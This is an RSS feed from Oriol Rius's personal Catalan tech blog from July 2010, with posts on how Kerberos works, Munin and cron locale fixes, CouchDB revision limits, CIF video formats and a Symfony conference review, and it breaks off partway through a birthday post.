<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:series="http://unfoldingneurons.com/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>oriolrius.cat</title>
	<atom:link href="http://oriolrius.cat/blog/feed/rss" rel="self" type="application/rss+xml" />
	<link>http://oriolrius.cat/blog</link>
	<description>Blog personal i de tecnologia de l'Oriol Rius.</description>
	<lastBuildDate>Tue, 27 Jul 2010 19:44:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>ca</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.5.3" -->
	<copyright>2000-2008 </copyright>
	<managingEditor>oriol@joor.net (Oriol Rius)</managingEditor>
	<webMaster>oriol@joor.net (Oriol Rius)</webMaster>
	<category>posts</category>
	<ttl>1440</ttl>
	<image>
		<url>http://oriolrius.cat/imatges/mini.jpg</url>
		<title>oriolrius.cat</title>
		<link>http://oriolrius.cat/blog</link>
		<width>144</width>
		<height>144</height>
	</image>
	<itunes:subtitle>Blog de tecnologia i personal de l'Oriol Rius. Majoritariament parlo de linux, networking i d'altres temes m&#233;s personals.</itunes:subtitle>
	<itunes:summary>Blog personal de l'Oriol Rius </itunes:summary>
	<itunes:keywords>personal, linux, networking, podcast, technology, GTD</itunes:keywords>
	<itunes:category text="Technology">
		<itunes:category text="Podcasting" />
	</itunes:category>
	<itunes:category text="Technology" />
	<itunes:category text="Technology">
		<itunes:category text="Software How-To" />
	</itunes:category>
	<itunes:author>Oriol Rius</itunes:author>
	<itunes:owner>
		<itunes:name>Oriol Rius</itunes:name>
		<itunes:email>oriol@joor.net</itunes:email>
	</itunes:owner>
	<itunes:block>no</itunes:block>
	<itunes:explicit>no</itunes:explicit>
	<itunes:image href="http://oriolrius.cat/imatges/mini.jpg" />
		<item>
		<title>Podcast 2&#215;06: Com funciona Kerberos? autenticació i autorització (AA)</title>
		<link>http://oriolrius.cat/blog/2010/07/27/podcast-2x06-com-funciona-kerberos-autenticacio-i-autoritzacio-aa?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=podcast-2x06-com-funciona-kerberos-autenticacio-i-autoritzacio-aa</link>
		<comments>http://oriolrius.cat/blog/2010/07/27/podcast-2x06-com-funciona-kerberos-autenticacio-i-autoritzacio-aa#comments</comments>
		<pubDate>Tue, 27 Jul 2010 18:53:46 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Seguretat]]></category>
		<category><![CDATA[podcast]]></category>
		<category><![CDATA[kerberos]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[system-administrator]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2245</guid>
		<description><![CDATA[El podcast
﻿﻿
Notes
Estàndard RFC1510 per l&#8217;autenticació, destaquen les funcionalitats de:

autenticació mutua
temps de connexió ràpids (session tickets)
delegació (autenticació recursiva entre serveis)

Esquemes


Simplifiació del funcionament
Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

AS (Authentication Service) &#8211; es produeix durant el procés de &#8220;login&#8221; i li permet al client poder demanar un ticket per [...]]]></description>
			<content:encoded><![CDATA[<h1>El podcast</h1>
<p>﻿﻿</p>
<h1>Notes</h1>
<p>Estàndard <a href="http://www.ietf.org/rfc/rfc1510.txt">RFC1510</a> per l&#8217;autenticació, destaquen les funcionalitats de:</p>
<ul>
<li>autenticació mutua</li>
<li>temps de connexió ràpids (session tickets)</li>
<li>delegació (autenticació recursiva entre serveis)</li>
</ul>
<h1>Esquemes</h1>
<p style="text-align: center;"><img class="aligncenter" title="my-kerberos-schema" src="http://oriolrius.cat/blog/wp-content/uploads/2010/07/my-kerberos-schema.png" alt="" width="600" height="368" /></p>
<p style="text-align: center;"><img class="aligncenter" title="my-kerberos-schema" src="http://oriolrius.cat/blog/wp-content/uploads/2010/07/my-kerberos-delegation-schema.png" alt="" /></p>
<h2>Simplifiació del funcionament</h2>
<p>Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:</p>
<ul>
<li><strong>AS</strong> (Authentication Service) &#8211; es produeix durant el procés de &#8220;login&#8221; i li permet al client poder demanar un ticket per accedir als recursos (TGT)
<ul>
<li><strong>KRB_AS_REP</strong>
<ul>
<li>Client principal name.</li>
<li>Timestamp.</li>
<li>Kerberos target principle name (realm).</li>
<li>Requested lifetime.</li>
</ul>
</li>
<li><strong>KRB_AS_REP</strong>
<ul>
<li>La <span style="text-decoration: underline;">primera part</span> va xifrada usant la clau d&#8217;usuari, conté:
<ul>
<li>User-TGS key (generated by the KDC).</li>
<li>Kerberos target principle name (realm).</li>
<li>Ticket lifetime.</li>
</ul>
</li>
<li>La <span style="text-decoration: underline;">segona part</span> és el TGT, va xifrat usant la clau TGS generada pel KDC només els servidor la poden obrir, malgrat això s&#8217;enmagatzema en el client i conté:
<ul>
<li>Client principal name.</li>
<li>Ticket lifetime.</li>
<li>KDC timestamp.</li>
<li>User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).</li>
<li>Client <acronym title="Internet Protocol">IP</acronym> address (taken from the initial KRB_AS_REQ).</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><strong>TGS</strong> (Ticket Granting Service) &#8211; a través del TGT el client poy demanar un &#8220;service ticket&#8221; (ST) necessari per poder accedir a un servei. El TGT té un funcionament semblant al d&#8217;un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d&#8217;accés a un país.
<ul>
<li><strong>KRB_TGS_REQ</strong>
<ul>
<li>Service principal name.</li>
<li>Requested lifetime.</li>
<li>TGT (still encrypted with the TGS key).</li>
<li>Authenticator (encrypted with the user-TGS key and containing a client timestamp) &#8211; The authenticator guarantees that the request originated from the client.</li>
</ul>
</li>
<li><strong>KRB_TGS_REP</strong>
<ul>
<li>La <span style="text-decoration: underline;">primera part</span> va xifrada amb la clau TGS de l&#8217;usuari (el KDC l&#8217;extreu del TGT) i conté:
<ul>
<li>Service principal name.</li>
<li>Ticket lifetime.</li>
<li>User service key (encrypted with a user-TGS session key, generated by the KDC).</li>
</ul>
</li>
<li><span style="text-decoration: underline;">Part dos</span>, és el &#8220;service ticket&#8221; (ST). Xifrat usant la clau del servei TGS. Conté:</li>
</ul>
<ul>
<li>
<ul>
<li>User service key (encrypted with a user-TGS session key, generated by the KDC).</li>
<li>Client principal name.</li>
<li>Ticket lifetime.</li>
<li>KDC timestamp.</li>
<li>Client <acronym title="Internet Protocol">IP</acronym> address.</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li><strong>Client/Server (AP) Exchange</strong> &#8211; per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petició, a vegades, el servei directament comença la seva sessió.
<ul>
<li><strong>KRB_AP_REQ</strong>
<ul>
<li>ST xifrat amb la clau TGS del servei</li>
<li>Authenticator &#8211; encrypted with the user service key</li>
</ul>
</li>
<li><strong>KRB_AP_REP</strong></li>
</ul>
</li>
</ul>
<h2>Característiques</h2>
<ul>
<li>&#8216;<strong>Realm</strong>&#8216; es defineix com un domini d&#8217;aministració</li>
<li>Tots els servidors i participants en les transaccions pertanyen al mateix &#8216;Realm&#8217;</li>
<li>Tots els missatges viatgen xifrats usant un codi simètric (no-PKI)</li>
<li>La &#8220;<strong>user key</strong>&#8221; es genera a partir del &#8220;logon password&#8221;</li>
<li>La &#8220;<strong>host key</strong>&#8221; es genera quan el &#8220;host&#8221; s&#8217;uneix al &#8216;Realm&#8217;</li>
<li>Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el &#8220;AP exchange&#8221; i el servei farà la gestió amb el KDC de forma transparent.</li>
<li>Important recordar que:</li>
<li>només el KDC pot llegir el TGT</li>
<li>només el servei pot llegir el ST</li>
</ul>
<h2>Glossari d&#8217;acrònims</h2>
<ul>
<li>KDC: Key Distribution Center</li>
<li>AS: Authentication Service</li>
<li>TGS: Ticket Granting Service</li>
<li>SS: Service Server</li>
</ul>
<h2>Referències:</h2>
<ul>
<li><a title="Ask the Directory Services Team: Kerberos for the Busy Admin" href="http://blogs.technet.com/b/askds/archive/2008/03/06/kerberos-for-the-busy-admin.aspx">Kerberos for the Busy Admin</a></li>
<li><a title="Mark Wilson Blog: Kerberos Authentication explained" href="http://www.markwilson.co.uk/blog/2005/06/kerberos-authentication-explained.htm">Kerberos authentication explained</a></li>
<li><a title="Mark Wilson Blog: Understanding Kerberos Double Hop" href="http://blogs.technet.com/b/askds/archive/2008/06/13/understanding-kerberos-double-hop.aspx">Understanding Kerberos Double Hop</a></li>
</ul>
<h2>Error coneguts</h2>
<ul>
<li>Degut a un error el podcast 2&#215;05 no exiteix. Sento l&#8217;error!</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/27/podcast-2x06-com-funciona-kerberos-autenticacio-i-autoritzacio-aa/feed</wfw:commentRss>
		<slash:comments></slash:comments>
			<enclosure url="http://oriolrius.cat/blog/podpress_trac/feed/2245/0/podcast_oriolrius_2x06.mp3" length="26212451" type="audio/mpeg" />
		<itunes:duration>27:18</itunes:duration>
		<itunes:subtitle>El podcast
﻿﻿
Notes
Est&#224;ndard RFC1510 per l'autenticaci&#243;, destaquen les funcionalitats de:

	autenticaci&#243; mutua
	temps de connexi&#243; r&#224;pids (session tickets)
	delegaci&#243; (autenticaci&#243; recursiva entre serveis)

Esquemes



Simplifiaci</itunes:subtitle>
		<itunes:summary>El podcast
﻿﻿
Notes
Est&#224;ndard RFC1510 per l'autenticaci&#243;, destaquen les funcionalitats de:

	autenticaci&#243; mutua
	temps de connexi&#243; r&#224;pids (session tickets)
	delegaci&#243; (autenticaci&#243; recursiva entre serveis)

Esquemes



Simplifiaci&#243; del funcionament
Hi ha 6 tipus de missatges (5 obligatoris + 1 opcional), agrupats en 3 su-protocols:

	AS (Authentication Service) - es produeix durant el proc&#233;s de "login" i li permet al client poder demanar un ticket per accedir als recursos (TGT)

	KRB_AS_REP

	Client principal name.
	Timestamp.
	Kerberos target principle name (realm).
	Requested lifetime.


	KRB_AS_REP

	La primera part va xifrada usant la clau d'usuari, cont&#233;:

	User-TGS key (generated by the KDC).
	Kerberos target principle name (realm).
	Ticket lifetime.


	La segona part &#233;s el TGT, va xifrat usant la clau TGS generada pel KDC nom&#233;s els servidor la poden obrir, malgrat aix&#242; s'enmagatzema en el client i cont&#233;:

	Client principal name.
	Ticket lifetime.
	KDC timestamp.
	User-TGS key (which is not retained by the KDC, but its presence within the TGT means it is available when required).
	Client IP address (taken from the initial KRB_AS_REQ).






	TGS (Ticket Granting Service) - a trav&#233;s del TGT el client poy demanar un "service ticket" (ST) necessari per poder accedir a un servei. El TGT t&#233; un funcionament semblant al d'un password (expira amb el temps i no requereix password), el ST obtingut seria semblant a un visat d'acc&#233;s a un pa&#237;s.

	KRB_TGS_REQ

	Service principal name.
	Requested lifetime.
	TGT (still encrypted with the TGS key).
	Authenticator (encrypted with the user-TGS key and containing a client timestamp) - The authenticator guarantees that the request originated from the client.


	KRB_TGS_REP

	La primera part va xifrada amb la clau TGS de l'usuari (el KDC l'extreu del TGT) i cont&#233;:

	Service principal name.
	Ticket lifetime.
	User service key (encrypted with a user-TGS session key, generated by the KDC).


	Part dos, &#233;s el "service ticket" (ST). Xifrat usant la clau del servei TGS. Cont&#233;:


	

	User service key (encrypted with a user-TGS session key, generated by the KDC).
	Client principal name.
	Ticket lifetime.
	KDC timestamp.
	Client IP address.






	Client/Server (AP) Exchange - per accedir a un servei el client envia al servei un KRB_AP_REQ amb el ST obtingut. El servei pot o no contestar la petici&#243;, a vegades, el servei directament comen&#231;a la seva sessi&#243;.

	KRB_AP_REQ

	ST xifrat amb la clau TGS del servei
	Authenticator - encrypted with the user service key


	KRB_AP_REP



Caracter&#237;stiques

	'Realm' es defineix com un domini d'aministraci&#243;
	Tots els servidors i participants en les transaccions pertanyen al mateix 'Realm'
	Tots els missatges viatgen xifrats usant un codi sim&#232;tric (no-PKI)
	La "user key" es genera a partir del "logon password"
	La "host key" es genera quan el "host" s'uneix al 'Realm'
	Si un client vol accedir a un servei i no ha fet el TGS pot enviar el TGT en el "AP exchange" i el servei far&#224; la gesti&#243; amb el KDC de forma transparent.
	Important recordar que:
	nom&#233;s el KDC pot llegir el TGT
	nom&#233;s el servei pot llegir el ST

Glossari d'acr&#242;nims

	KDC: Key Distribution Center
	AS: Authentication Service
	TGS: Ticket Granting Service
	SS: Service Server

Refer&#232;ncies:

	Kerberos for the Busy Admin
	Kerberos authentication explained
	Understanding Kerberos Double Hop

Error coneguts

	Degut a un error el podcast 2x05 no exiteix. Sento l'error!
</itunes:summary>
		<itunes:keywords>networking, security, kerberos, sysadmin, system-administrator, system administrator</itunes:keywords>
		<itunes:author>Oriol Rius</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>no</itunes:block>
	</item>
		<item>
		<title>Notes sobre Munin i Crontab, problemes amb locales</title>
		<link>http://oriolrius.cat/blog/2010/07/14/notes-sobre-munin-i-crontab-problemes-amb-locales?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=notes-sobre-munin-i-crontab-problemes-amb-locales</link>
		<comments>http://oriolrius.cat/blog/2010/07/14/notes-sobre-munin-i-crontab-problemes-amb-locales#comments</comments>
		<pubDate>Wed, 14 Jul 2010 11:01:08 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[crontab]]></category>
		<category><![CDATA[munin]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[system-administrator]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2240</guid>
		<description><![CDATA[Resum de notes interessants que acabo de descobrir sobre: munin, crontab i locales. Tot plegat corrent amb Ubuntu.

crontab, té diversos fitxers de configuració a /etc/cron.d la sintaxis d&#8217;aquests és la mateixa que /etc/crontab
els fitxers que hi ha a /etc/cron.d sovint pertanyen a serveis que necessiten executar ordres periódicament
al llençar munin des de dintre d&#8217;aquest directori [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-2241 alignright" title="munin" src="/blog/wp-content/uploads/2010/07/munin.png" alt="munin" width="100" height="26" />Resum de notes interessants que acabo de descobrir sobre: <a title="munin home page" href="http://munin-monitoring.org/">munin</a>, <a title="unix command: crontab" href="http://en.wikipedia.org/wiki/Cron">crontab</a> i <a title="Ubuntu locales" href="https://help.ubuntu.com/community/Locale">locales</a>. Tot plegat corrent amb Ubuntu.</p>
<ul>
<li><strong>crontab</strong>, té diversos fitxers de configuració a <strong>/etc/cron.d</strong> la sintaxis d&#8217;aquests és la mateixa que <strong>/etc/crontab</strong></li>
<li>els fitxers que hi ha a <strong>/etc/cron.d</strong> sovint pertanyen a serveis que necessiten executar ordres periódicament</li>
<li>al llençar munin des de dintre d&#8217;aquest directori es generaben correus d&#8217;error del crontab, queixant-se de problemes amb les locales</li>
<li>dins el fitxer <strong>/etc/cron.d/munin</strong> podem declarar les locales i així no se&#8217;ns tornarà a donar el problema</li>
<li>si volem sobrecarregar on s&#8217;han d&#8217;enviar els correu d&#8217;error de cron en un dels fitxers que hi ha <strong>/etc/cron.d</strong> podem declarar la variable <strong>MAILTO=user@domain.tld</strong> dins el propi fitxer</li>
</ul>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/14/notes-sobre-munin-i-crontab-problemes-amb-locales/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>CouchDB: fixar el límit màxim de revisions per document</title>
		<link>http://oriolrius.cat/blog/2010/07/13/couchdb-fixar-el-limit-maxim-de-revisions-per-document?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=couchdb-fixar-el-limit-maxim-de-revisions-per-document</link>
		<comments>http://oriolrius.cat/blog/2010/07/13/couchdb-fixar-el-limit-maxim-de-revisions-per-document#comments</comments>
		<pubDate>Tue, 13 Jul 2010 08:59:07 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[couchdb]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[dba]]></category>
		<category><![CDATA[sysadmin]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2236</guid>
		<description><![CDATA[
Per defecte i fins que no es fa una compactació de la base de dades CouchDB permet fins a 1000 revisions d&#8217;un document, cosa que sovint no acostuma a ser necessari. Així doncs, si volem canviar aquesta paràmetre finalment a la versió 0.11 ja el podem canviar.
Set _revs_limit of a particular database:
curl -X PUT -d [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-2029 alignright" title="couchdb logo" src="http://oriolrius.cat/blog/wp-content/uploads/2010/01/couchdb-logo.png" alt="couchdb logo" width="160" /><br />
Per defecte i fins que no es fa una compactació de la base de dades CouchDB permet fins a 1000 revisions d&#8217;un document, cosa que sovint no acostuma a ser necessari. Així doncs, si volem canviar aquesta paràmetre finalment a la versió 0.11 ja el podem canviar.</p>
<p>Set <em>_revs_limit</em> of a particular database:</p>
<pre>curl -X PUT -d "1500" http://localhost:5984/test/_revs_limit
#=&gt; {"ok":true}</pre>
<p>Read <em>_revs_limit</em> of a particular database:</p>
<pre>curl -X GET http://localhost:5984/test/_revs_limit
#=&gt; 1500</pre>
<p>informació original de: <a title="CouchDB: accessing database specific options" href="http://wiki.apache.org/couchdb/HTTP_database_API#Accessing_Database-specific_options">accessing database specific options</a>.</p>
<p>Agraiments: gràcies @marcos <img src='http://oriolrius.cat/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/13/couchdb-fixar-el-limit-maxim-de-revisions-per-document/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Formats gràfics CIF</title>
		<link>http://oriolrius.cat/blog/2010/07/09/formats-grafics-cif?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=formats-grafics-cif</link>
		<comments>http://oriolrius.cat/blog/2010/07/09/formats-grafics-cif#comments</comments>
		<pubDate>Fri, 09 Jul 2010 14:46:02 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[TechTips]]></category>
		<category><![CDATA[cif]]></category>
		<category><![CDATA[d1]]></category>
		<category><![CDATA[formats]]></category>
		<category><![CDATA[graphics]]></category>
		<category><![CDATA[image]]></category>
		<category><![CDATA[multimedia]]></category>
		<category><![CDATA[ntsc]]></category>
		<category><![CDATA[pal]]></category>
		<category><![CDATA[sif]]></category>
		<category><![CDATA[standard]]></category>
		<category><![CDATA[television]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2232</guid>
		<description><![CDATA[CIF (Common Intermediate Format), també conegut com FCIF (Full Common Intermediate Format), és un format usat per estandaritzar les resolucions horitzontals i verticals en pixels de les senyals de video (seqüències YCbCr), aquest nomenclatura es va proposar a l&#8217;estàndard H.261.
CIF es va dissenyar per convertir de forma senzilla els estàndards PAL o NTSC. CIF defineix [...]]]></description>
			<content:encoded><![CDATA[<p><strong>CIF</strong> (<em>Common Intermediate Format</em>), també conegut com FCIF (Full Common Intermediate Format), és un format usat per estandaritzar les resolucions horitzontals i verticals en pixels de les senyals de video (seqüències <a title="YCbCr" href="http://en.wikipedia.org/wiki/YCbCr">YCbCr</a>), aquest nomenclatura es va proposar a l&#8217;estàndard <a title="H.261" href="http://en.wikipedia.org/wiki/H.261">H.261</a>.</p>
<p>CIF es va dissenyar per convertir de forma senzilla els estàndards PAL o NTSC. CIF defineix una seqüència de video amb una resolució de 352&#215;288 com PAL, amb un framerate de 30000/1001 (uns 29.97fps) frames com NTSC, amb un codi de color YCbCr <a title="4:2:0" href="http://en.wikipedia.org/wiki/4:2:0">4:2:0</a>.</p>
<table>
<tbody>
<tr>
<td>SQCIF</td>
<td>128 × 96</td>
<td>SubQuarterCIF (subQCIF)</td>
</tr>
<tr>
<td>QCIF</td>
<td>176&#215;144 in PAL<br />
176&#215;120 in NTSC</td>
<td>Quarter CIF, la meitat de la resolució H i V,<br />
o sigui, 1/4 de la imatge original</td>
</tr>
<tr>
<td>SIF(525) NTSC</td>
<td>352&#215;288 PAL<br />
352&#215;240 NTSC</td>
<td>Source Input Format</td>
</tr>
<tr>
<td>CIF/SIF(625)</td>
<td>352&#215;288 in PAL<br />
352&#215;240 in NTSC</td>
<td></td>
</tr>
<tr>
<td>D1/4SIF(525)</td>
<td>704&#215;576 (TV PAL)<br />
704&#215;480 (TV NTSC)<br />
720&#215;576 (<acronym title="Digital Versatile Disc">DVD</acronym>-Video PAL)<br />
720&#215;480 (<acronym title="Digital Versatile Disc">DVD</acronym>-Video NTSC)</td>
<td>Full size, estàndard NTSC i PAL</td>
</tr>
<tr>
<td>2CIF</td>
<td>704&#215;288 in PAL<br />
704&#215;240 in NTSC</td>
<td>2 Common Intermediate Format</td>
</tr>
<tr>
<td>DCIF</td>
<td>528&#215;384 in PAL<br />
528&#215;320 in NTSC</td>
<td>Double CIF, té un aspect ratio molt proper al 4:3,<br />
millor quailtat que 2CIF i CIF amb el mateix bitrate</td>
</tr>
<tr>
<td>4CIF/4SIF(625)</td>
<td>704&#215;576 in PAL<br />
704&#215;480 in NTSC</td>
<td></td>
</tr>
<tr>
<td>16CIF</td>
<td>1408 × 1152</td>
<td></td>
</tr>
</tbody>
</table>
<p>Les resolucions xCIF no són quadrades, tenen un ratio de ~1.222:1. O sigui, que una televisió analògica té un ratió de 1.2:1 segons defineix l&#8217;estàndard de sistemes de 525 linies (<a href="http://en.wikipedia.org/wiki/CCIR_601">CCIR 601</a>). En les pantalles d&#8217;ordinador o de televisió digital es treballa amb blocs de pixels quadrats, o sigui, que les trames xCIF ha de ser re-escalades horitzontalment un ~109% per aconseguir un ratio de 4:3, o sigui, el que equivaldria a 384&#215;288 pixels quadrats.</p>
<p>Les mides d&#8217;imatges CIF han estat especialment escollides per ser multiples del que s&#8217;anomenen macroblocs (corresponent a 16&#215;16pixels). Per exemple, una imatge CIF de mida 352&#215;288 correspon a 22&#215;18 macroblocs.</p>
<p>Informació extreta de la <a title="wikipedia: CIF" href="http://en.wikipedia.org/wiki/CIF">Wikipedia</a> i de diversos forums dispersos per internet.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/09/formats-grafics-cif/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Jornades #decharlas sobre #symfony</title>
		<link>http://oriolrius.cat/blog/2010/07/08/jornades-decharlas-sobre-symfony?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=jornades-decharlas-sobre-symfony</link>
		<comments>http://oriolrius.cat/blog/2010/07/08/jornades-decharlas-sobre-symfony#comments</comments>
		<pubDate>Thu, 08 Jul 2010 07:41:12 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Programacio]]></category>
		<category><![CDATA[castellon]]></category>
		<category><![CDATA[conference]]></category>
		<category><![CDATA[decharlas]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[spain]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[talks]]></category>

		<guid isPermaLink="false">http://oriolrius.cat/blog/?p=2225</guid>
		<description><![CDATA[
Com deia a l&#8217;anterior article, el dilluns i dimarts vaig ser per la zona de Castelló per assistir amb el Benja a les jornades de Symfony organitzades per la Universitat de Jaume I de Castelló. Doncs bé, comentar que les jornades em van sorprendre molt positivament, realment hi havia gent amb força o fins hi [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-2230 alignright" title="symfony logo" src="http://oriolrius.cat/blog/wp-content/uploads/2010/07/symfony.gif" alt="symfony logo" width="200" height="54" /></p>
<p>Com deia a l&#8217;anterior article, el dilluns i dimarts vaig ser per la zona de Castelló per assistir amb el Benja a les <a title="decharlas: Symfony" href="http://decharlas.uji.es/symfony/">jornades de Symfony</a> organitzades per la <a title="Universitat Jaume I" href="http://www.uji.es/">Universitat de Jaume I de Castelló</a>. Doncs bé, comentar que les jornades em van sorprendre molt positivament, realment hi havia gent amb força o fins hi tot molt nivell en la materia i això sempre és d&#8217;agraïr en aquest tipus d&#8217;events.</p>
<p>El programa de les xerrades era molt interessant i tret d&#8217;algunes xerrades puntuals totes eren del màxim interés per mi. Com molts esteu cansats de sentir jo no sóc programador, però en aquesta vida he picat força codi i concretament amb Symfony vaig començar-ho a fer en la versió 0.6.4, o sigui, molt abans que fos estable. Però de la mà de l&#8217;Oriol M. varem fer un projecte amb uns quants megues de codi font per fer recàrregues de mòbil a una cadena de botigues de fotografia, un dels codis dels que estic més orgullós.</p>
<p>Tornant a les jornades, volia destacar el meu <em>ranking</em> particular de ponents, es tracta d&#8217;un petit TOP 3 que des de la meva més extrema modèstia preten classificar en base a uns criteris totalment subjectius les persones que van saber transmetre els valors més importants que jo busco en una xerrada:</p>
<ul>
<li><strong>Javier Eguíluz</strong> (Symfony 2) &#8211; a destacar la gran capacitat d&#8217;enfocar la conferència cap als items més importants a resaltar, sense oblidar els detalls rellevants en cada moment, tot això sense perdre un fil conductor clar en tota la xarrada. També s&#8217;ha de dir que el tema li donava molt de joc per fer embadalir a l&#8217;audiència; però va saber com treure-li el suc i tenir-nos a tots ben enganxats malgrat estar molt cansats després de dos dies de conferències sense parar, aquesta va ser l&#8217;última conferència.</li>
<li><strong>José Antonio Pío</strong> (Vistas y sfForm) &#8211; cal deixar-ho clar, una màquina té tota la pinta de ser un programador com la copa d&#8217;un pi i els típics defectes i virtuts de ser un professor (ho és?). Malgrat sembla que és molt bo i sap explicar-se la densitat del seu contingut i complexitat del mateix, feien complex seguir-lo tota l&#8217;estona ja que exigia molt a la concentració. Cosa gens senzilla en una marató de conferències com el que ens ocupa.</li>
<li><strong>Jordi Llonch</strong> (Plugins) &#8211; aquest representant de les nostres terres diria que també ha fet una molt bona feina explicant-nos la potència dels plug-ins de Symfony, potser a nivell personal no m&#8217;ha aportat tan com les altres dues xerrades però la qualitat de les transparències, l&#8217;oratòria i la bona organització dels continguts diria que l&#8217;han convertit en una referència de com fer les coses, sota el meu punt de vista, és clar.</li>
</ul>
<p>Comentar que la resta de ponències també han estat molt bé, obviament algunes amb més qualitat que d&#8217;altres i amb temes que per mi tenien un major interés que altres. Però en conjunt dono una nota altíssima al contingut de les xerrades. Pel que fa a la organització i les instal·lacions un 9, més que res per donar-los marge a millorar. Impresionant el complexe universitari, res a envejar a d&#8217;altres que he vist.</p>
<p>Abans de tancar aquest article tan poc ortodoxe per descriure les jornades comentar en forma de punts algunes notes mentals que me n&#8217;he emportat:</p>
<ul>
<li>Hauria de <strong>posar-me amb Doctrine</strong>, però al coneixer Propel mai trobo el moment.</li>
<li>Mirar-me a fons referències sobre <strong>integració continua amb <acronym title="Pre-Hypertext Processing">PHP</acronym></strong> i eines de gestió de projectes</li>
<li>Dona gust adonar-se que moltes pràctiques que has adoptat unilateralment també es comparteixen en la comunitat: temes d&#8217;sfForm, vistes, pugins, web escalables, cloud computing, etc.</li>
<li>Pel que fa al tema de la web escalable, m&#8217;agradaria agafar els <strong>&#8217;slides&#8217; del ponent Asier Marqués</strong> i <strong>fer</strong> el meu propi <strong>screencast</strong> del tema, comparteixo quasi tot el que va dir a la conferència però em quedo amb les ganes d&#8217;<strong>aportar-hi el meu granet de sorra</strong>.</li>
<li><strong>Mirar-me</strong> el tema d&#8217;<a title="wikipedia: Edge Side Includes" href="http://en.wikipedia.org/wiki/Edge_Side_Includes">ESI</a> que ja l&#8217;havia oblidat.</li>
<li><strong>MongoDB</strong>, com dic cada dia&#8230; u<strong>na passada</strong>! i si a sobre es soporta a Doctrine això ja no té preu. Interessant el tema de <strong>Mondongo</strong>.</li>
<li>i <strong>l&#8217;estrella</strong> de tot plegat!!!! <strong>Symofny2</strong>&#8230; estic impacient!!!!</li>
</ul>
<p><strong>UPDATE</strong>: <a title="Presentacions de les jornades de Symfony" href="http://www.symfony.es/2010/07/06/todas-las-presentaciones-de-las-jornadas-symfony/">presentacions de les jornades</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://oriolrius.cat/blog/2010/07/08/jornades-decharlas-sobre-symfony/feed</wfw:commentRss>
		<slash:comments></slash:comments>
		</item>
		<item>
		<title>Video del meu 30è aniversari, potser una mica tard?</title>
		<link>http://oriolrius.cat/blog/2010/07/08/video-del-meu-30e-aniversari-potser-una-mica-tard?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=video-del-meu-30e-aniversari-potser-una-mica-tard</link>
		<comments>http://oriolrius.cat/blog/2010/07/08/video-del-meu-30e-aniversari-potser-una-mica-tard#comments</comments>
		<pubDate>Thu, 08 Jul 2010 07:14:07 +0000</pubDate>
		<dc:creator>Oriol Rius</dc:creator>
				<category><![CDATA[Mussols]]></category>
		<category><![CDATA[birth]]></category>
		<category><![CDATA[birthday]]></category>
